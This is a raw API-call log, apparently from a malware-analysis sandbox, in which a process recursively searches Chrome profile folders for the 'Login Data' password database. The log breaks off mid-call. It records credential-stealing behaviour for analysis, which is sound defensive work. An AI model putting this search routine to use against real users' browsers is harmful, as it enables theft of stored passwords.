[0056.559] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned 78 [0056.559] lstrlenA (lpString="\\*.*") returned 4 [0056.559] LocalAlloc (uFlags=0x40, uBytes=0xd3) returned 0x2cbd30 [0056.559] lstrcpyA (in: lpString1=0x2cbd30, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports" [0056.559] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*" [0056.560] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*", lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 0x2dc8b8 [0056.560] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.560] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.560] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.560] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.560] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 0 [0056.560] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.560] LocalFree (hMem=0x2cbd30) returned 0x0 [0056.560] LocalFree (hMem=0x2cca90) returned 0x0 [0056.560] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f700 | out: lpFindFileData=0x21f700) returned 1 [0056.560] StrStrIA (lpFirst="settings.dat", lpSrch="Login Data") returned 0x0 [0056.560] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f700 | out: lpFindFileData=0x21f700) returned 0 [0056.560] FindClose (in: hFindFile=0x2dc878 | out: hFindFile=0x2dc878) returned 1 [0056.560] LocalFree (hMem=0x2cc9b8) returned 0x0 [0056.560] LocalFree (hMem=0x2d4a98) returned 0x0 [0056.560] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f890 | out: lpFindFileData=0x21f890) returned 1 [0056.560] StrStrIA (lpFirst="CrashpadMetrics-active.pma", lpSrch="Login Data") returned 0x0 [0056.560] FindNextFileA (in: hFindFile=0x2dc838, lpFindFileData=0x21f890 | out: lpFindFileData=0x21f890) returned 1 [0056.560] lstrcmpiA (lpString1=".", lpString2="Default") returned -1 [0056.560] lstrcmpiA (lpString1="..", lpString2="Default") returned -1 [0056.560] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.560] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned 61 [0056.560] lstrlenA (lpString="\\") returned 1 [0056.560] LocalAlloc (uFlags=0x40, uBytes=0xbf) returned 0x2d0a80 [0056.560] lstrcpyA (in: lpString1=0x2d0a80, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data" [0056.560] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.560] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned 62 [0056.560] lstrlenA (lpString="Default") returned 7 [0056.560] LocalAlloc (uFlags=0x40, uBytes=0xc6) returned 0x2d4a98 [0056.560] lstrcpyA (in: lpString1=0x2d4a98, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\" [0056.560] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\", lpString2="Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0056.560] LocalFree (hMem=0x2d0a80) returned 0x0 [0056.560] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.560] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.560] lstrlenA (lpString="\\*.*") returned 4 [0056.560] LocalAlloc (uFlags=0x40, uBytes=0xca) returned 0x2cc9b8 [0056.560] lstrcpyA (in: lpString1=0x2cc9b8, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0056.560] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.*" [0056.560] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\*.*", lpFindFileData=0x21f700 | out: lpFindFileData=0x21f700) returned 0x2dc878 [0056.560] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.560] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f700 | out: lpFindFileData=0x21f700) returned 1 [0056.561] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.561] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.561] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f700 | out: lpFindFileData=0x21f700) returned 1 [0056.561] lstrcmpiA (lpString1=".", lpString2="Cache") returned -1 [0056.561] lstrcmpiA (lpString1="..", lpString2="Cache") returned -1 [0056.561] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.561] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.561] lstrlenA (lpString="\\") returned 1 [0056.561] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x2d4b68 [0056.561] lstrcpyA (in: lpString1=0x2d4b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0056.561] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.561] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0056.561] lstrlenA (lpString="Cache") returned 5 [0056.561] LocalAlloc (uFlags=0x40, uBytes=0xcc) returned 0x2cca90 [0056.561] lstrcpyA (in: lpString1=0x2cca90, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.561] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Cache" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" [0056.561] LocalFree (hMem=0x2d4b68) returned 0x0 [0056.561] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned 75 [0056.561] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned 75 [0056.561] lstrlenA (lpString="\\*.*") returned 4 [0056.561] LocalAlloc (uFlags=0x40, uBytes=0xd0) returned 0x2ccb68 [0056.561] lstrcpyA (in: lpString1=0x2ccb68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache" [0056.561] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*" [0056.561] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Cache\\*.*", lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 0x2dc8b8 [0056.561] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.561] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.561] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.561] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.561] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.561] StrStrIA (lpFirst="data_0", lpSrch="Login Data") returned 0x0 [0056.561] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.561] StrStrIA (lpFirst="data_1", lpSrch="Login Data") returned 0x0 [0056.561] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.561] StrStrIA (lpFirst="data_2", lpSrch="Login Data") returned 0x0 [0056.561] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.561] StrStrIA (lpFirst="data_3", lpSrch="Login Data") returned 0x0 [0056.561] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.561] StrStrIA (lpFirst="index", lpSrch="Login Data") returned 0x0 [0056.561] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 0 [0056.561] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.561] LocalFree (hMem=0x2ccb68) returned 0x0 [0056.561] LocalFree (hMem=0x2cca90) returned 0x0 [0056.561] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f700 | out: lpFindFileData=0x21f700) returned 1 [0056.561] StrStrIA (lpFirst="Cookies", lpSrch="Login Data") returned 0x0 [0056.561] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f700 | out: lpFindFileData=0x21f700) returned 1 [0056.561] StrStrIA (lpFirst="Cookies-journal", lpSrch="Login Data") returned 0x0 [0056.561] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f700 | out: lpFindFileData=0x21f700) returned 1 [0056.561] StrStrIA (lpFirst="Current Session", lpSrch="Login Data") returned 0x0 [0056.562] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f700 | out: lpFindFileData=0x21f700) returned 1 [0056.562] StrStrIA (lpFirst="Current Tabs", lpSrch="Login Data") returned 0x0 [0056.562] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f700 | out: lpFindFileData=0x21f700) returned 1 [0056.562] lstrcmpiA (lpString1=".", lpString2="data_reduction_proxy_leveldb") returned -1 [0056.562] lstrcmpiA (lpString1="..", lpString2="data_reduction_proxy_leveldb") returned -1 [0056.562] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.562] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.562] lstrlenA (lpString="\\") returned 1 [0056.562] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x2d4b68 [0056.562] lstrcpyA (in: lpString1=0x2d4b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0056.562] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.562] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0056.562] lstrlenA (lpString="data_reduction_proxy_leveldb") returned 28 [0056.562] LocalAlloc (uFlags=0x40, uBytes=0xe3) returned 0x2cbd30 [0056.562] lstrcpyA (in: lpString1=0x2cbd30, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.562] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="data_reduction_proxy_leveldb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb" [0056.562] LocalFree (hMem=0x2d4b68) returned 0x0 [0056.562] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned 98 [0056.562] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned 98 [0056.562] lstrlenA (lpString="\\*.*") returned 4 [0056.562] LocalAlloc (uFlags=0x40, uBytes=0xe7) returned 0x2cc740 [0056.562] lstrcpyA (in: lpString1=0x2cc740, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb" [0056.562] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*" [0056.562] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\data_reduction_proxy_leveldb\\*.*", lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 0x2dc8b8 [0056.562] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.562] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.562] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.562] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.562] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.562] StrStrIA (lpFirst="000003.log", lpSrch="Login Data") returned 0x0 [0056.562] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.562] StrStrIA (lpFirst="CURRENT", lpSrch="Login Data") returned 0x0 [0056.562] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.562] StrStrIA (lpFirst="LOCK", lpSrch="Login Data") returned 0x0 [0056.563] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.563] StrStrIA (lpFirst="LOG", lpSrch="Login Data") returned 0x0 [0056.563] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.563] StrStrIA (lpFirst="MANIFEST-000002", lpSrch="Login Data") returned 0x0 [0056.563] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 0 [0056.563] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.563] LocalFree (hMem=0x2cc740) returned 0x0 [0056.563] LocalFree (hMem=0x2cbd30) returned 0x0 [0056.563] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f700 | out: lpFindFileData=0x21f700) returned 1 [0056.563] lstrcmpiA (lpString1=".", lpString2="Extension Rules") returned -1 [0056.563] lstrcmpiA (lpString1="..", lpString2="Extension Rules") returned -1 [0056.563] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.563] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.563] lstrlenA (lpString="\\") returned 1 [0056.563] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x2d4b68 [0056.563] lstrcpyA (in: lpString1=0x2d4b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0056.563] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.563] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0056.563] lstrlenA (lpString="Extension Rules") returned 15 [0056.563] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x2cbd30 [0056.563] lstrcpyA (in: lpString1=0x2cbd30, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.563] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Extension Rules" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" [0056.563] LocalFree (hMem=0x2d4b68) returned 0x0 [0056.563] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned 85 [0056.563] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned 85 [0056.563] lstrlenA (lpString="\\*.*") returned 4 [0056.563] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x2cc740 [0056.563] lstrcpyA (in: lpString1=0x2cc740, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules" [0056.563] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules", lpString2="\\*.*" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*" [0056.563] FindFirstFileA (in: lpFileName="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension Rules\\*.*", lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 0x2dc8b8 [0056.564] lstrcmpiA (lpString1=".", lpString2=".") returned 0 [0056.564] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.564] lstrcmpiA (lpString1=".", lpString2="..") returned -1 [0056.564] lstrcmpiA (lpString1="..", lpString2="..") returned 0 [0056.564] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.564] StrStrIA (lpFirst="000003.log", lpSrch="Login Data") returned 0x0 [0056.564] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.564] StrStrIA (lpFirst="CURRENT", lpSrch="Login Data") returned 0x0 [0056.564] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.564] StrStrIA (lpFirst="LOCK", lpSrch="Login Data") returned 0x0 [0056.564] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.564] StrStrIA (lpFirst="LOG", lpSrch="Login Data") returned 0x0 [0056.564] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 1 [0056.564] StrStrIA (lpFirst="MANIFEST-000001", lpSrch="Login Data") returned 0x0 [0056.564] FindNextFileA (in: hFindFile=0x2dc8b8, lpFindFileData=0x21f570 | out: lpFindFileData=0x21f570) returned 0 [0056.564] FindClose (in: hFindFile=0x2dc8b8 | out: hFindFile=0x2dc8b8) returned 1 [0056.564] LocalFree (hMem=0x2cc740) returned 0x0 [0056.564] LocalFree (hMem=0x2cbd30) returned 0x0 [0056.564] FindNextFileA (in: hFindFile=0x2dc878, lpFindFileData=0x21f700 | out: lpFindFileData=0x21f700) returned 1 [0056.565] lstrcmpiA (lpString1=".", lpString2="Extension State") returned -1 [0056.565] lstrcmpiA (lpString1="..", lpString2="Extension State") returned -1 [0056.565] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.565] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned 69 [0056.565] lstrlenA (lpString="\\") returned 1 [0056.565] LocalAlloc (uFlags=0x40, uBytes=0xc7) returned 0x2d4b68 [0056.565] lstrcpyA (in: lpString1=0x2d4b68, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default" [0056.565] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default", lpString2="\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.565] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned 70 [0056.565] lstrlenA (lpString="Extension State") returned 15 [0056.565] LocalAlloc (uFlags=0x40, uBytes=0xd6) returned 0x2cbd30 [0056.565] lstrcpyA (in: lpString1=0x2cbd30, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\" [0056.565] lstrcatA (in: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\", lpString2="Extension State" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" [0056.565] LocalFree (hMem=0x2d4b68) returned 0x0 [0056.565] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned 85 [0056.565] lstrlenA (lpString="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned 85 [0056.565] lstrlenA (lpString="\\*.*") returned 4 [0056.565] LocalAlloc (uFlags=0x40, uBytes=0xda) returned 0x2cc740 [0056.565] lstrcpyA (in: lpString1=0x2cc740, lpString2="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" | out: lpString1="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State") returned="C:\\Users\\aDU0VK IWA5kLS\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extension State" [0056.565] lstrcatA (in: 